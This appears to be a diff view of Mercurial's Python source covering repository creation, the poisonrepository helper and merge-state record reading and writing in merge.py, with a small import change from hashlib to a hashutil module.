3662
3662
3663 if createopts.get(b'sharedrelative'):
3663 if createopts.get(b'sharedrelative'):
3664 try:
3664 try:
3665 sharedpath = os.path.relpath(sharedpath, hgvfs.base)
3665 sharedpath = os.path.relpath(sharedpath, hgvfs.base)
3666 except (IOError, ValueError) as e:
3666 except (IOError, ValueError) as e:
3667 # ValueError is raised on Windows if the drive letters differ
3667 # ValueError is raised on Windows if the drive letters differ
3668 # on each path.
3668 # on each path.
3669 raise error.Abort(
3669 raise error.Abort(
3670 _(b'cannot calculate relative path'),
3670 _(b'cannot calculate relative path'),
3671 hint=stringutil.forcebytestr(e),
3671 hint=stringutil.forcebytestr(e),
3672 )
3672 )
3673
3673
3674 if not wdirvfs.exists():
3674 if not wdirvfs.exists():
3675 wdirvfs.makedirs()
3675 wdirvfs.makedirs()
3676
3676
3677 hgvfs.makedir(notindexed=True)
3677 hgvfs.makedir(notindexed=True)
3678 if b'sharedrepo' not in createopts:
3678 if b'sharedrepo' not in createopts:
3679 hgvfs.mkdir(b'cache')
3679 hgvfs.mkdir(b'cache')
3680 hgvfs.mkdir(b'wcache')
3680 hgvfs.mkdir(b'wcache')
3681
3681
3682 if b'store' in requirements and b'sharedrepo' not in createopts:
3682 if b'store' in requirements and b'sharedrepo' not in createopts:
3683 hgvfs.mkdir(b'store')
3683 hgvfs.mkdir(b'store')
3684
3684
3685 # We create an invalid changelog outside the store so very old
3685 # We create an invalid changelog outside the store so very old
3686 # Mercurial versions (which didn't know about the requirements
3686 # Mercurial versions (which didn't know about the requirements
3687 # file) encounter an error on reading the changelog. This
3687 # file) encounter an error on reading the changelog. This
3688 # effectively locks out old clients and prevents them from
3688 # effectively locks out old clients and prevents them from
3689 # mucking with a repo in an unknown format.
3689 # mucking with a repo in an unknown format.
3690 #
3690 #
3691 # The revlog header has version 2, which won't be recognized by
3691 # The revlog header has version 2, which won't be recognized by
3692 # such old clients.
3692 # such old clients.
3693 hgvfs.append(
3693 hgvfs.append(
3694 b'00changelog.i',
3694 b'00changelog.i',
3695 b'\0\0\0\2 dummy changelog to prevent using the old repo '
3695 b'\0\0\0\2 dummy changelog to prevent using the old repo '
3696 b'layout',
3696 b'layout',
3697 )
3697 )
3698
3698
3699 scmutil.writerequires(hgvfs, requirements)
3699 scmutil.writerequires(hgvfs, requirements)
3700
3700
3701 # Write out file telling readers where to find the shared store.
3701 # Write out file telling readers where to find the shared store.
3702 if b'sharedrepo' in createopts:
3702 if b'sharedrepo' in createopts:
3703 hgvfs.write(b'sharedpath', sharedpath)
3703 hgvfs.write(b'sharedpath', sharedpath)
3704
3704
3705 if createopts.get(b'shareditems'):
3705 if createopts.get(b'shareditems'):
3706 shared = b'\n'.join(sorted(createopts[b'shareditems'])) + b'\n'
3706 shared = b'\n'.join(sorted(createopts[b'shareditems'])) + b'\n'
3707 hgvfs.write(b'shared', shared)
3707 hgvfs.write(b'shared', shared)
3708
3708
3709
3709
3710 def poisonrepository(repo):
3710 def poisonrepository(repo):
3711 """Poison a repository instance so it can no longer be used."""
3711 """Poison a repository instance so it can no longer be used."""
3712 # Perform any cleanup on the instance.
3712 # Perform any cleanup on the instance.
3713 repo.close()
3713 repo.close()
3714
3714
3715 # Our strategy is to replace the type of the object with one that
3715 # Our strategy is to replace the type of the object with one that
3716 # has all attribute lookups result in error.
3716 # has all attribute lookups result in error.
3717 #
3717 #
3718 # But we have to allow the close() method because some constructors
3718 # But we have to allow the close() method because some constructors
3719 # of repos call close() on repo references.
3719 # of repos call close() on repo references.
3720 class poisonedrepository(object):
3720 class poisonedrepository(object):
3721 def __getattribute__(self, item):
3721 def __getattribute__(self, item):
3722 if item == 'close':
3722 if item == 'close':
3723 return object.__getattribute__(self, item)
3723 return object.__getattribute__(self, item)
3724
3724
3725 raise error.ProgrammingError(
3725 raise error.ProgrammingError(
3726 b'repo instances should not be used after unshare'
3726 b'repo instances should not be used after unshare'
3727 )
3727 )
3728
3728
3729 def close(self):
3729 def close(self):
3730 pass
3730 pass
3731
3731
3732 # We may have a repoview, which intercepts __setattr__. So be sure
3732 # We may have a repoview, which intercepts __setattr__. So be sure
3733 # we operate at the lowest level possible.
3733 # we operate at the lowest level possible.
3734 object.__setattr__(repo, '__class__', poisonedrepository)
3734 object.__setattr__(repo, '__class__', poisonedrepository)
@@ -1,2712 +1,2712
1 # merge.py - directory-level update/merge handling for Mercurial
1 # merge.py - directory-level update/merge handling for Mercurial
2 #
2 #
3 # Copyright 2006, 2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2006, 2007 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import errno
10 import errno
11 import hashlib
12 import shutil
11 import shutil
13 import stat
12 import stat
14 import struct
13 import struct
15
14
16 from .i18n import _
15 from .i18n import _
17 from .node import (
16 from .node import (
18 addednodeid,
17 addednodeid,
19 bin,
18 bin,
20 hex,
19 hex,
21 modifiednodeid,
20 modifiednodeid,
22 nullhex,
21 nullhex,
23 nullid,
22 nullid,
24 nullrev,
23 nullrev,
25 )
24 )
26 from .pycompat import delattr
25 from .pycompat import delattr
27 from .thirdparty import attr
26 from .thirdparty import attr
28 from . import (
27 from . import (
29 copies,
28 copies,
30 encoding,
29 encoding,
31 error,
30 error,
32 filemerge,
31 filemerge,
33 match as matchmod,
32 match as matchmod,
34 obsutil,
33 obsutil,
35 pathutil,
34 pathutil,
36 pycompat,
35 pycompat,
37 scmutil,
36 scmutil,
38 subrepoutil,
37 subrepoutil,
39 util,
38 util,
40 worker,
39 worker,
41 )
40 )
41 from .utils import hashutil
42
42
43 _pack = struct.pack
43 _pack = struct.pack
44 _unpack = struct.unpack
44 _unpack = struct.unpack
45
45
46
46
47 def _droponode(data):
47 def _droponode(data):
48 # used for compatibility for v1
48 # used for compatibility for v1
49 bits = data.split(b'\0')
49 bits = data.split(b'\0')
50 bits = bits[:-2] + bits[-1:]
50 bits = bits[:-2] + bits[-1:]
51 return b'\0'.join(bits)
51 return b'\0'.join(bits)
52
52
53
53
54 # Merge state record types. See ``mergestate`` docs for more.
54 # Merge state record types. See ``mergestate`` docs for more.
55 RECORD_LOCAL = b'L'
55 RECORD_LOCAL = b'L'
56 RECORD_OTHER = b'O'
56 RECORD_OTHER = b'O'
57 RECORD_MERGED = b'F'
57 RECORD_MERGED = b'F'
58 RECORD_CHANGEDELETE_CONFLICT = b'C'
58 RECORD_CHANGEDELETE_CONFLICT = b'C'
59 RECORD_MERGE_DRIVER_MERGE = b'D'
59 RECORD_MERGE_DRIVER_MERGE = b'D'
60 RECORD_PATH_CONFLICT = b'P'
60 RECORD_PATH_CONFLICT = b'P'
61 RECORD_MERGE_DRIVER_STATE = b'm'
61 RECORD_MERGE_DRIVER_STATE = b'm'
62 RECORD_FILE_VALUES = b'f'
62 RECORD_FILE_VALUES = b'f'
63 RECORD_LABELS = b'l'
63 RECORD_LABELS = b'l'
64 RECORD_OVERRIDE = b't'
64 RECORD_OVERRIDE = b't'
65 RECORD_UNSUPPORTED_MANDATORY = b'X'
65 RECORD_UNSUPPORTED_MANDATORY = b'X'
66 RECORD_UNSUPPORTED_ADVISORY = b'x'
66 RECORD_UNSUPPORTED_ADVISORY = b'x'
67
67
68 MERGE_DRIVER_STATE_UNMARKED = b'u'
68 MERGE_DRIVER_STATE_UNMARKED = b'u'
69 MERGE_DRIVER_STATE_MARKED = b'm'
69 MERGE_DRIVER_STATE_MARKED = b'm'
70 MERGE_DRIVER_STATE_SUCCESS = b's'
70 MERGE_DRIVER_STATE_SUCCESS = b's'
71
71
72 MERGE_RECORD_UNRESOLVED = b'u'
72 MERGE_RECORD_UNRESOLVED = b'u'
73 MERGE_RECORD_RESOLVED = b'r'
73 MERGE_RECORD_RESOLVED = b'r'
74 MERGE_RECORD_UNRESOLVED_PATH = b'pu'
74 MERGE_RECORD_UNRESOLVED_PATH = b'pu'
75 MERGE_RECORD_RESOLVED_PATH = b'pr'
75 MERGE_RECORD_RESOLVED_PATH = b'pr'
76 MERGE_RECORD_DRIVER_RESOLVED = b'd'
76 MERGE_RECORD_DRIVER_RESOLVED = b'd'
77
77
78 ACTION_FORGET = b'f'
78 ACTION_FORGET = b'f'
79 ACTION_REMOVE = b'r'
79 ACTION_REMOVE = b'r'
80 ACTION_ADD = b'a'
80 ACTION_ADD = b'a'
81 ACTION_GET = b'g'
81 ACTION_GET = b'g'
82 ACTION_PATH_CONFLICT = b'p'
82 ACTION_PATH_CONFLICT = b'p'
83 ACTION_PATH_CONFLICT_RESOLVE = b'pr'
83 ACTION_PATH_CONFLICT_RESOLVE = b'pr'
84 ACTION_ADD_MODIFIED = b'am'
84 ACTION_ADD_MODIFIED = b'am'
85 ACTION_CREATED = b'c'
85 ACTION_CREATED = b'c'
86 ACTION_DELETED_CHANGED = b'dc'
86 ACTION_DELETED_CHANGED = b'dc'
87 ACTION_CHANGED_DELETED = b'cd'
87 ACTION_CHANGED_DELETED = b'cd'
88 ACTION_MERGE = b'm'
88 ACTION_MERGE = b'm'
89 ACTION_LOCAL_DIR_RENAME_GET = b'dg'
89 ACTION_LOCAL_DIR_RENAME_GET = b'dg'
90 ACTION_DIR_RENAME_MOVE_LOCAL = b'dm'
90 ACTION_DIR_RENAME_MOVE_LOCAL = b'dm'
91 ACTION_KEEP = b'k'
91 ACTION_KEEP = b'k'
92 ACTION_EXEC = b'e'
92 ACTION_EXEC = b'e'
93 ACTION_CREATED_MERGE = b'cm'
93 ACTION_CREATED_MERGE = b'cm'
94
94
95
95
96 class mergestate(object):
96 class mergestate(object):
97 '''track 3-way merge state of individual files
97 '''track 3-way merge state of individual files
98
98
99 The merge state is stored on disk when needed. Two files are used: one with
99 The merge state is stored on disk when needed. Two files are used: one with
100 an old format (version 1), and one with a new format (version 2). Version 2
100 an old format (version 1), and one with a new format (version 2). Version 2
101 stores a superset of the data in version 1, including new kinds of records
101 stores a superset of the data in version 1, including new kinds of records
102 in the future. For more about the new format, see the documentation for
102 in the future. For more about the new format, see the documentation for
103 `_readrecordsv2`.
103 `_readrecordsv2`.
104
104
105 Each record can contain arbitrary content, and has an associated type. This
105 Each record can contain arbitrary content, and has an associated type. This
106 `type` should be a letter. If `type` is uppercase, the record is mandatory:
106 `type` should be a letter. If `type` is uppercase, the record is mandatory:
107 versions of Mercurial that don't support it should abort. If `type` is
107 versions of Mercurial that don't support it should abort. If `type` is
108 lowercase, the record can be safely ignored.
108 lowercase, the record can be safely ignored.
109
109
110 Currently known records:
110 Currently known records:
111
111
112 L: the node of the "local" part of the merge (hexified version)
112 L: the node of the "local" part of the merge (hexified version)
113 O: the node of the "other" part of the merge (hexified version)
113 O: the node of the "other" part of the merge (hexified version)
114 F: a file to be merged entry
114 F: a file to be merged entry
115 C: a change/delete or delete/change conflict
115 C: a change/delete or delete/change conflict
116 D: a file that the external merge driver will merge internally
116 D: a file that the external merge driver will merge internally
117 (experimental)
117 (experimental)
118 P: a path conflict (file vs directory)
118 P: a path conflict (file vs directory)
119 m: the external merge driver defined for this merge plus its run state
119 m: the external merge driver defined for this merge plus its run state
120 (experimental)
120 (experimental)
121 f: a (filename, dictionary) tuple of optional values for a given file
121 f: a (filename, dictionary) tuple of optional values for a given file
122 X: unsupported mandatory record type (used in tests)
122 X: unsupported mandatory record type (used in tests)
123 x: unsupported advisory record type (used in tests)
123 x: unsupported advisory record type (used in tests)
124 l: the labels for the parts of the merge.
124 l: the labels for the parts of the merge.
125
125
126 Merge driver run states (experimental):
126 Merge driver run states (experimental):
127 u: driver-resolved files unmarked -- needs to be run next time we're about
127 u: driver-resolved files unmarked -- needs to be run next time we're about
128 to resolve or commit
128 to resolve or commit
129 m: driver-resolved files marked -- only needs to be run before commit
129 m: driver-resolved files marked -- only needs to be run before commit
130 s: success/skipped -- does not need to be run any more
130 s: success/skipped -- does not need to be run any more
131
131
132 Merge record states (stored in self._state, indexed by filename):
132 Merge record states (stored in self._state, indexed by filename):
133 u: unresolved conflict
133 u: unresolved conflict
134 r: resolved conflict
134 r: resolved conflict
135 pu: unresolved path conflict (file conflicts with directory)
135 pu: unresolved path conflict (file conflicts with directory)
136 pr: resolved path conflict
136 pr: resolved path conflict
137 d: driver-resolved conflict
137 d: driver-resolved conflict
138
138
139 The resolve command transitions between 'u' and 'r' for conflicts and
139 The resolve command transitions between 'u' and 'r' for conflicts and
140 'pu' and 'pr' for path conflicts.
140 'pu' and 'pr' for path conflicts.
141 '''
141 '''
142
142
143 statepathv1 = b'merge/state'
143 statepathv1 = b'merge/state'
144 statepathv2 = b'merge/state2'
144 statepathv2 = b'merge/state2'
145
145
146 @staticmethod
146 @staticmethod
147 def clean(repo, node=None, other=None, labels=None):
147 def clean(repo, node=None, other=None, labels=None):
148 """Initialize a brand new merge state, removing any existing state on
148 """Initialize a brand new merge state, removing any existing state on
149 disk."""
149 disk."""
150 ms = mergestate(repo)
150 ms = mergestate(repo)
151 ms.reset(node, other, labels)
151 ms.reset(node, other, labels)
152 return ms
152 return ms
153
153
154 @staticmethod
154 @staticmethod
155 def read(repo):
155 def read(repo):
156 """Initialize the merge state, reading it from disk."""
156 """Initialize the merge state, reading it from disk."""
157 ms = mergestate(repo)
157 ms = mergestate(repo)
158 ms._read()
158 ms._read()
159 return ms
159 return ms
160
160
161 def __init__(self, repo):
161 def __init__(self, repo):
162 """Initialize the merge state.
162 """Initialize the merge state.
163
163
164 Do not use this directly! Instead call read() or clean()."""
164 Do not use this directly! Instead call read() or clean()."""
165 self._repo = repo
165 self._repo = repo
166 self._dirty = False
166 self._dirty = False
167 self._labels = None
167 self._labels = None
168
168
169 def reset(self, node=None, other=None, labels=None):
169 def reset(self, node=None, other=None, labels=None):
170 self._state = {}
170 self._state = {}
171 self._stateextras = {}
171 self._stateextras = {}
172 self._local = None
172 self._local = None
173 self._other = None
173 self._other = None
174 self._labels = labels
174 self._labels = labels
175 for var in ('localctx', 'otherctx'):
175 for var in ('localctx', 'otherctx'):
176 if var in vars(self):
176 if var in vars(self):
177 delattr(self, var)
177 delattr(self, var)
178 if node:
178 if node:
179 self._local = node
179 self._local = node
180 self._other = other
180 self._other = other
181 self._readmergedriver = None
181 self._readmergedriver = None
182 if self.mergedriver:
182 if self.mergedriver:
183 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
183 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
184 else:
184 else:
185 self._mdstate = MERGE_DRIVER_STATE_UNMARKED
185 self._mdstate = MERGE_DRIVER_STATE_UNMARKED
186 shutil.rmtree(self._repo.vfs.join(b'merge'), True)
186 shutil.rmtree(self._repo.vfs.join(b'merge'), True)
187 self._results = {}
187 self._results = {}
188 self._dirty = False
188 self._dirty = False
189
189
190 def _read(self):
190 def _read(self):
191 """Analyse each record content to restore a serialized state from disk
191 """Analyse each record content to restore a serialized state from disk
192
192
193 This function process "record" entry produced by the de-serialization
193 This function process "record" entry produced by the de-serialization
194 of on disk file.
194 of on disk file.
195 """
195 """
196 self._state = {}
196 self._state = {}
197 self._stateextras = {}
197 self._stateextras = {}
198 self._local = None
198 self._local = None
199 self._other = None
199 self._other = None
200 for var in ('localctx', 'otherctx'):
200 for var in ('localctx', 'otherctx'):
201 if var in vars(self):
201 if var in vars(self):
202 delattr(self, var)
202 delattr(self, var)
203 self._readmergedriver = None
203 self._readmergedriver = None
204 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
204 self._mdstate = MERGE_DRIVER_STATE_SUCCESS
205 unsupported = set()
205 unsupported = set()
206 records = self._readrecords()
206 records = self._readrecords()
207 for rtype, record in records:
207 for rtype, record in records:
208 if rtype == RECORD_LOCAL:
208 if rtype == RECORD_LOCAL:
209 self._local = bin(record)
209 self._local = bin(record)
210 elif rtype == RECORD_OTHER:
210 elif rtype == RECORD_OTHER:
211 self._other = bin(record)
211 self._other = bin(record)
212 elif rtype == RECORD_MERGE_DRIVER_STATE:
212 elif rtype == RECORD_MERGE_DRIVER_STATE:
213 bits = record.split(b'\0', 1)
213 bits = record.split(b'\0', 1)
214 mdstate = bits[1]
214 mdstate = bits[1]
215 if len(mdstate) != 1 or mdstate not in (
215 if len(mdstate) != 1 or mdstate not in (
216 MERGE_DRIVER_STATE_UNMARKED,
216 MERGE_DRIVER_STATE_UNMARKED,
217 MERGE_DRIVER_STATE_MARKED,
217 MERGE_DRIVER_STATE_MARKED,
218 MERGE_DRIVER_STATE_SUCCESS,
218 MERGE_DRIVER_STATE_SUCCESS,
219 ):
219 ):
220 # the merge driver should be idempotent, so just rerun it
220 # the merge driver should be idempotent, so just rerun it
221 mdstate = MERGE_DRIVER_STATE_UNMARKED
221 mdstate = MERGE_DRIVER_STATE_UNMARKED
222
222
223 self._readmergedriver = bits[0]
223 self._readmergedriver = bits[0]
224 self._mdstate = mdstate
224 self._mdstate = mdstate
225 elif rtype in (
225 elif rtype in (
226 RECORD_MERGED,
226 RECORD_MERGED,
227 RECORD_CHANGEDELETE_CONFLICT,
227 RECORD_CHANGEDELETE_CONFLICT,
228 RECORD_PATH_CONFLICT,
228 RECORD_PATH_CONFLICT,
229 RECORD_MERGE_DRIVER_MERGE,
229 RECORD_MERGE_DRIVER_MERGE,
230 ):
230 ):
231 bits = record.split(b'\0')
231 bits = record.split(b'\0')
232 self._state[bits[0]] = bits[1:]
232 self._state[bits[0]] = bits[1:]
233 elif rtype == RECORD_FILE_VALUES:
233 elif rtype == RECORD_FILE_VALUES:
234 filename, rawextras = record.split(b'\0', 1)
234 filename, rawextras = record.split(b'\0', 1)
235 extraparts = rawextras.split(b'\0')
235 extraparts = rawextras.split(b'\0')
236 extras = {}
236 extras = {}
237 i = 0
237 i = 0
238 while i < len(extraparts):
238 while i < len(extraparts):
239 extras[extraparts[i]] = extraparts[i + 1]
239 extras[extraparts[i]] = extraparts[i + 1]
240 i += 2
240 i += 2
241
241
242 self._stateextras[filename] = extras
242 self._stateextras[filename] = extras
243 elif rtype == RECORD_LABELS:
243 elif rtype == RECORD_LABELS:
244 labels = record.split(b'\0', 2)
244 labels = record.split(b'\0', 2)
245 self._labels = [l for l in labels if len(l) > 0]
245 self._labels = [l for l in labels if len(l) > 0]
246 elif not rtype.islower():
246 elif not rtype.islower():
247 unsupported.add(rtype)
247 unsupported.add(rtype)
248 self._results = {}
248 self._results = {}
249 self._dirty = False
249 self._dirty = False
250
250
251 if unsupported:
251 if unsupported:
252 raise error.UnsupportedMergeRecords(unsupported)
252 raise error.UnsupportedMergeRecords(unsupported)
253
253
254 def _readrecords(self):
254 def _readrecords(self):
255 """Read merge state from disk and return a list of record (TYPE, data)
255 """Read merge state from disk and return a list of record (TYPE, data)
256
256
257 We read data from both v1 and v2 files and decide which one to use.
257 We read data from both v1 and v2 files and decide which one to use.
258
258
259 V1 has been used by version prior to 2.9.1 and contains less data than
259 V1 has been used by version prior to 2.9.1 and contains less data than
260 v2. We read both versions and check if no data in v2 contradicts
260 v2. We read both versions and check if no data in v2 contradicts
261 v1. If there is not contradiction we can safely assume that both v1
261 v1. If there is not contradiction we can safely assume that both v1
262 and v2 were written at the same time and use the extract data in v2. If
262 and v2 were written at the same time and use the extract data in v2. If
263 there is contradiction we ignore v2 content as we assume an old version
263 there is contradiction we ignore v2 content as we assume an old version
264 of Mercurial has overwritten the mergestate file and left an old v2
264 of Mercurial has overwritten the mergestate file and left an old v2
265 file around.
265 file around.
266
266
267 returns list of record [(TYPE, data), ...]"""
267 returns list of record [(TYPE, data), ...]"""
268 v1records = self._readrecordsv1()
268 v1records = self._readrecordsv1()
269 v2records = self._readrecordsv2()
269 v2records = self._readrecordsv2()
270 if self._v1v2match(v1records, v2records):
270 if self._v1v2match(v1records, v2records):
271 return v2records
271 return v2records
272 else:
272 else:
273 # v1 file is newer than v2 file, use it
273 # v1 file is newer than v2 file, use it
274 # we have to infer the "other" changeset of the merge
274 # we have to infer the "other" changeset of the merge
275 # we cannot do better than that with v1 of the format
275 # we cannot do better than that with v1 of the format
276 mctx = self._repo[None].parents()[-1]
276 mctx = self._repo[None].parents()[-1]
277 v1records.append((RECORD_OTHER, mctx.hex()))
277 v1records.append((RECORD_OTHER, mctx.hex()))
278 # add place holder "other" file node information
278 # add place holder "other" file node information
279 # nobody is using it yet so we do no need to fetch the data
279 # nobody is using it yet so we do no need to fetch the data
280 # if mctx was wrong `mctx[bits[-2]]` may fails.
280 # if mctx was wrong `mctx[bits[-2]]` may fails.
281 for idx, r in enumerate(v1records):
281 for idx, r in enumerate(v1records):
282 if r[0] == RECORD_MERGED:
282 if r[0] == RECORD_MERGED:
283 bits = r[1].split(b'\0')
283 bits = r[1].split(b'\0')
284 bits.insert(-2, b'')
284 bits.insert(-2, b'')
285 v1records[idx] = (r[0], b'\0'.join(bits))
285 v1records[idx] = (r[0], b'\0'.join(bits))
286 return v1records
286 return v1records
287
287
288 def _v1v2match(self, v1records, v2records):
288 def _v1v2match(self, v1records, v2records):
289 oldv2 = set() # old format version of v2 record
289 oldv2 = set() # old format version of v2 record
290 for rec in v2records:
290 for rec in v2records:
291 if rec[0] == RECORD_LOCAL:
291 if rec[0] == RECORD_LOCAL:
292 oldv2.add(rec)
292 oldv2.add(rec)
293 elif rec[0] == RECORD_MERGED:
293 elif rec[0] == RECORD_MERGED:
294 # drop the onode data (not contained in v1)
294 # drop the onode data (not contained in v1)
295 oldv2.add((RECORD_MERGED, _droponode(rec[1])))
295 oldv2.add((RECORD_MERGED, _droponode(rec[1])))
296 for rec in v1records:
296 for rec in v1records:
297 if rec not in oldv2:
297 if rec not in oldv2:
298 return False
298 return False
299 else:
299 else:
300 return True
300 return True
301
301
302 def _readrecordsv1(self):
302 def _readrecordsv1(self):
303 """read on disk merge state for version 1 file
303 """read on disk merge state for version 1 file
304
304
305 returns list of record [(TYPE, data), ...]
305 returns list of record [(TYPE, data), ...]
306
306
307 Note: the "F" data from this file are one entry short
307 Note: the "F" data from this file are one entry short
308 (no "other file node" entry)
308 (no "other file node" entry)
309 """
309 """
310 records = []
310 records = []
311 try:
311 try:
312 f = self._repo.vfs(self.statepathv1)
312 f = self._repo.vfs(self.statepathv1)
313 for i, l in enumerate(f):
313 for i, l in enumerate(f):
314 if i == 0:
314 if i == 0:
315 records.append((RECORD_LOCAL, l[:-1]))
315 records.append((RECORD_LOCAL, l[:-1]))
316 else:
316 else:
317 records.append((RECORD_MERGED, l[:-1]))
317 records.append((RECORD_MERGED, l[:-1]))
318 f.close()
318 f.close()
319 except IOError as err:
319 except IOError as err:
320 if err.errno != errno.ENOENT:
320 if err.errno != errno.ENOENT:
321 raise
321 raise
322 return records
322 return records
323
323
324 def _readrecordsv2(self):
324 def _readrecordsv2(self):
325 """read on disk merge state for version 2 file
325 """read on disk merge state for version 2 file
326
326
327 This format is a list of arbitrary records of the form:
327 This format is a list of arbitrary records of the form:
328
328
329 [type][length][content]
329 [type][length][content]
330
330
331 `type` is a single character, `length` is a 4 byte integer, and
331 `type` is a single character, `length` is a 4 byte integer, and
332 `content` is an arbitrary byte sequence of length `length`.
332 `content` is an arbitrary byte sequence of length `length`.
333
333
334 Mercurial versions prior to 3.7 have a bug where if there are
334 Mercurial versions prior to 3.7 have a bug where if there are
335 unsupported mandatory merge records, attempting to clear out the merge
335 unsupported mandatory merge records, attempting to clear out the merge
336 state with hg update --clean or similar aborts. The 't' record type
336 state with hg update --clean or similar aborts. The 't' record type
337 works around that by writing out what those versions treat as an
337 works around that by writing out what those versions treat as an
338 advisory record, but later versions interpret as special: the first
338 advisory record, but later versions interpret as special: the first
339 character is the 'real' record type and everything onwards is the data.
339 character is the 'real' record type and everything onwards is the data.
340
340
341 Returns list of records [(TYPE, data), ...]."""
341 Returns list of records [(TYPE, data), ...]."""
342 records = []
342 records = []
343 try:
343 try:
344 f = self._repo.vfs(self.statepathv2)
344 f = self._repo.vfs(self.statepathv2)
345 data = f.read()
345 data = f.read()
346 off = 0
346 off = 0
347 end = len(data)
347 end = len(data)
348 while off < end:
348 while off < end:
349 rtype = data[off : off + 1]
349 rtype = data[off : off + 1]
350 off += 1
350 off += 1
351 length = _unpack(b'>I', data[off : (off + 4)])[0]
351 length = _unpack(b'>I', data[off : (off + 4)])[0]
352 off += 4
352 off += 4
353 record = data[off : (off + length)]
353 record = data[off : (off + length)]
354 off += length
354 off += length
355 if rtype == RECORD_OVERRIDE:
355 if rtype == RECORD_OVERRIDE:
356 rtype, record = record[0:1], record[1:]
356 rtype, record = record[0:1], record[1:]
357 records.append((rtype, record))
357 records.append((rtype, record))
358 f.close()
358 f.close()
359 except IOError as err:
359 except IOError as err:
360 if err.errno != errno.ENOENT:
360 if err.errno != errno.ENOENT:
361 raise
361 raise
362 return records
362 return records
363
363
364 @util.propertycache
364 @util.propertycache
365 def mergedriver(self):
365 def mergedriver(self):
366 # protect against the following:
366 # protect against the following:
367 # - A configures a malicious merge driver in their hgrc, then
367 # - A configures a malicious merge driver in their hgrc, then
368 # pauses the merge
368 # pauses the merge
369 # - A edits their hgrc to remove references to the merge driver
369 # - A edits their hgrc to remove references to the merge driver
370 # - A gives a copy of their entire repo, including .hg, to B
370 # - A gives a copy of their entire repo, including .hg, to B
371 # - B inspects .hgrc and finds it to be clean
371 # - B inspects .hgrc and finds it to be clean
372 # - B then continues the merge and the malicious merge driver
372 # - B then continues the merge and the malicious merge driver
373 # gets invoked
373 # gets invoked
374 configmergedriver = self._repo.ui.config(
374 configmergedriver = self._repo.ui.config(
375 b'experimental', b'mergedriver'
375 b'experimental', b'mergedriver'
376 )
376 )
377 if (
377 if (
378 self._readmergedriver is not None
378 self._readmergedriver is not None
379 and self._readmergedriver != configmergedriver
379 and self._readmergedriver != configmergedriver
380 ):
380 ):
381 raise error.ConfigError(
381 raise error.ConfigError(
382 _(b"merge driver changed since merge started"),
382 _(b"merge driver changed since merge started"),
383 hint=_(b"revert merge driver change or abort merge"),
383 hint=_(b"revert merge driver change or abort merge"),
384 )
384 )
385
385
386 return configmergedriver
386 return configmergedriver
387
387
388 @util.propertycache
388 @util.propertycache
389 def localctx(self):
389 def localctx(self):
390 if self._local is None:
390 if self._local is None:
391 msg = b"localctx accessed but self._local isn't set"
391 msg = b"localctx accessed but self._local isn't set"
392 raise error.ProgrammingError(msg)
392 raise error.ProgrammingError(msg)
393 return self._repo[self._local]
393 return self._repo[self._local]
394
394
395 @util.propertycache
395 @util.propertycache
396 def otherctx(self):
396 def otherctx(self):
397 if self._other is None:
397 if self._other is None:
398 msg = b"otherctx accessed but self._other isn't set"
398 msg = b"otherctx accessed but self._other isn't set"
399 raise error.ProgrammingError(msg)
399 raise error.ProgrammingError(msg)
400 return self._repo[self._other]
400 return self._repo[self._other]
401
401
402 def active(self):
402 def active(self):
403 """Whether mergestate is active.
403 """Whether mergestate is active.
404
404
405 Returns True if there appears to be mergestate. This is a rough proxy
405 Returns True if there appears to be mergestate. This is a rough proxy
406 for "is a merge in progress."
406 for "is a merge in progress."
407 """
407 """
408 # Check local variables before looking at filesystem for performance
408 # Check local variables before looking at filesystem for performance
409 # reasons.
409 # reasons.
410 return (
410 return (
411 bool(self._local)
411 bool(self._local)
412 or bool(self._state)
412 or bool(self._state)
413 or self._repo.vfs.exists(self.statepathv1)
413 or self._repo.vfs.exists(self.statepathv1)
414 or self._repo.vfs.exists(self.statepathv2)
414 or self._repo.vfs.exists(self.statepathv2)
415 )
415 )
416
416
417 def commit(self):
417 def commit(self):
418 """Write current state on disk (if necessary)"""
418 """Write current state on disk (if necessary)"""
419 if self._dirty:
419 if self._dirty:
420 records = self._makerecords()
420 records = self._makerecords()
421 self._writerecords(records)
421 self._writerecords(records)
422 self._dirty = False
422 self._dirty = False
423
423
424 def _makerecords(self):
424 def _makerecords(self):
425 records = []
425 records = []
426 records.append((RECORD_LOCAL, hex(self._local)))
426 records.append((RECORD_LOCAL, hex(self._local)))
427 records.append((RECORD_OTHER, hex(self._other)))
427 records.append((RECORD_OTHER, hex(self._other)))
428 if self.mergedriver:
428 if self.mergedriver:
429 records.append(
429 records.append(
430 (
430 (
431 RECORD_MERGE_DRIVER_STATE,
431 RECORD_MERGE_DRIVER_STATE,
432 b'\0'.join([self.mergedriver, self._mdstate]),
432 b'\0'.join([self.mergedriver, self._mdstate]),
433 )
433 )
434 )
434 )
435 # Write out state items. In all cases, the value of the state map entry
435 # Write out state items. In all cases, the value of the state map entry
436 # is written as the contents of the record. The record type depends on
436 # is written as the contents of the record. The record type depends on
437 # the type of state that is stored, and capital-letter records are used
437 # the type of state that is stored, and capital-letter records are used
438 # to prevent older versions of Mercurial that do not support the feature
438 # to prevent older versions of Mercurial that do not support the feature
439 # from loading them.
439 # from loading them.
440 for filename, v in pycompat.iteritems(self._state):
440 for filename, v in pycompat.iteritems(self._state):
441 if v[0] == MERGE_RECORD_DRIVER_RESOLVED:
441 if v[0] == MERGE_RECORD_DRIVER_RESOLVED:
442 # Driver-resolved merge. These are stored in 'D' records.
442 # Driver-resolved merge. These are stored in 'D' records.
443 records.append(
443 records.append(
444 (RECORD_MERGE_DRIVER_MERGE, b'\0'.join([filename] + v))
444 (RECORD_MERGE_DRIVER_MERGE, b'\0'.join([filename] + v))
445 )
445 )
446 elif v[0] in (
446 elif v[0] in (
447 MERGE_RECORD_UNRESOLVED_PATH,
447 MERGE_RECORD_UNRESOLVED_PATH,
448 MERGE_RECORD_RESOLVED_PATH,
448 MERGE_RECORD_RESOLVED_PATH,
449 ):
449 ):
450 # Path conflicts. These are stored in 'P' records. The current
450 # Path conflicts. These are stored in 'P' records. The current
451 # resolution state ('pu' or 'pr') is stored within the record.
